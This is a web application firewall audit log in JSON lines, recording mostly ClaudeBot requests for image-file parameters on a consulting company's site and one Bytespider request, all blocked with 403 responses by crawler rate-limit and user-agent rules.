{"transaction":{"time":"13/Mar/2026:09:43:51.578124 +0100","transaction_id":"abPOR2-XEucyBza91ntl7QAAAxc","remote_address":"216.73.216.152","remote_port":45046,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fong-genie-bio.com%2Fdomaine2.png HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"6dfc29e849eee1395d4da73540c078d5","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"4786019"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"6dfc29e849eee1395d4da73540c078d5","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/ong-genie-bio.com/domaine2.png& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":276,"p2":2818,"p3":0,"p4":0,"p5":460,"sr":156,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:43:51.667780 +0100","transaction_id":"abPOR-EAMg66iR7kG38gLwAAA04","remote_address":"216.73.216.152","remote_port":43306,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2Fhtdocs%2Fong-genie-bio.com%2Fbanierre5.jpg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"15ce4459e5b421fdadef86e8be6425aa","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"13239137"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"15ce4459e5b421fdadef86e8be6425aa","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/ong-genie-bio.com/banierre5.jpg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":217,"p2":3294,"p3":0,"p4":0,"p5":570,"sr":165,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:43:51.758814 +0100","transaction_id":"abPOR2-XEucyBza91ntl7gAAAxc","remote_address":"216.73.216.152","remote_port":45046,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2Fhtdocs%2Fong-genie-bio.com%2Fbanierre4.jpg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"331241eca1ba380194d1375ae3616c87","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"4786025"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"331241eca1ba380194d1375ae3616c87","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/ong-genie-bio.com/banierre4.jpg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":283,"p2":2669,"p3":0,"p4":0,"p5":466,"sr":155,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:43:51.856232 +0100","transaction_id":"abPOR4B2aIMAFdsi8EHyGQAAAtI","remote_address":"216.73.216.152","remote_port":43294,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2Fhtdocs%2Fong-genie-bio.com%2Ftestimonial-2.jpg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"b566b8a494337ca6227e24e7b5815ff3","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"10620143"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"b566b8a494337ca6227e24e7b5815ff3","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/ong-genie-bio.com/testimonial-2.jpg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":282,"p2":7133,"p3":0,"p4":0,"p5":591,"sr":157,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:43:51.941748 +0100","transaction_id":"abPOR4B2aIMAFdsi8EHyGwAAAtI","remote_address":"216.73.216.152","remote_port":43294,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fong-genie-bio.com%2Fstore-product-2.jpg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"1d039846b5aac61ff45dcd5eca341d3f","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"14188820"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"1d039846b5aac61ff45dcd5eca341d3f","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/ong-genie-bio.com/store-product-2.jpg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":290,"p2":2956,"p3":0,"p4":0,"p5":476,"sr":177,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:43:52.035953 +0100","transaction_id":"abPOSIB2aIMAFdsi8EHyHQAAAtI","remote_address":"216.73.216.152","remote_port":43294,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fong-genie-bio.com%2Fdomaine3.png HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"dc9bb20bef167d3d007c5a0821a89d53","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"14188823"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"dc9bb20bef167d3d007c5a0821a89d53","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/ong-genie-bio.com/domaine3.png& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":274,"p2":3710,"p3":0,"p4":0,"p5":523,"sr":137,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:43:52.123012 +0100","transaction_id":"abPOSKg_lPa2owFZ6_PukAAAAQE","remote_address":"216.73.216.152","remote_port":43330,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2Fhtdocs%2Fong-genie-bio.com%2Fbanierre3.jpg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"6f9eaa168d77cd0976c3b9287402bef0","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"1740867"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"6f9eaa168d77cd0976c3b9287402bef0","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/ong-genie-bio.com/banierre3.jpg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":333,"p2":3149,"p3":0,"p4":0,"p5":336,"sr":126,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:43:52.215120 +0100","transaction_id":"abPOSOEAMg66iR7kG38gMwAAA04","remote_address":"216.73.216.152","remote_port":43306,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fong-genie-bio.com%2Fstore-product-3.jpg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"b963fe14ee54781a4603bce5edee9169","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"1740870"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"b963fe14ee54781a4603bce5edee9169","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/ong-genie-bio.com/store-product-3.jpg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":264,"p2":3589,"p3":0,"p4":0,"p5":610,"sr":179,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:43:52.304571 +0100","transaction_id":"abPOSOEAMg66iR7kG38gNAAAA04","remote_address":"216.73.216.152","remote_port":43306,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fong-genie-bio.com%2Fcaroussel2+%281%29.jpg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"9ec661e74bca0b742744ae570b57d7da","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"13239148"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"9ec661e74bca0b742744ae570b57d7da","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/ong-genie-bio.com/caroussel2 (1).jpg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":280,"p2":3015,"p3":0,"p4":0,"p5":556,"sr":152,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:43:52.396396 +0100","transaction_id":"abPOSExHnLkyPWuTIW5cMQAAAYI","remote_address":"216.73.216.152","remote_port":43326,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2Fhtdocs%2Fong-genie-bio.com%2Fcommunaut%C3%A9.jpg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"eed794bd4ce606525b59aad2b8a5ddc2","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"14188828"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"eed794bd4ce606525b59aad2b8a5ddc2","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/ong-genie-bio.com/communaut\\xc3\\xa9.jpg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":284,"p2":2858,"p3":0,"p4":0,"p5":502,"sr":169,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:43:52.434568 +0100","transaction_id":"abPOSFRY1ZHue1KnYxoqAAAAAoo","remote_address":"47.128.19.75","remote_port":40438,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /robots.txt HTTP/1.1","headers":{"Host":"www.jmkconsulting-ci.com","X-Real-IP":"47.128.19.75","X-Forwarded-Proto":"https","X-Request-Id":"96a759909aee1a8807123feb329cfde3","X-L-Admin-Auth":"0","User-Agent":"Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"bytedance","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"14188831"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"96a759909aee1a8807123feb329cfde3","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"434\"] [id \"77350374\"] [msg \"IM360 WAF: Scan attempt by bytespider crawler||UA:Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G: P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Matched phrase \"bytespider\" at REQUEST_HEADERS:User-Agent."},"stopwatch":{"p1":286,"p2":2400,"p3":0,"p4":0,"p5":438,"sr":75,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:43:52.487337 +0100","transaction_id":"abPOSFRY1ZHue1KnYxoqAQAAAoo","remote_address":"216.73.216.152","remote_port":40438,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2Fhtdocs%2Fong-genie-bio.com%2Flogo1.png HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"3db76a3c71cb659b6aa932d528e2f150","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"7245771"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"3db76a3c71cb659b6aa932d528e2f150","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/ong-genie-bio.com/logo1.png& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":276,"p2":3267,"p3":0,"p4":0,"p5":540,"sr":149,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
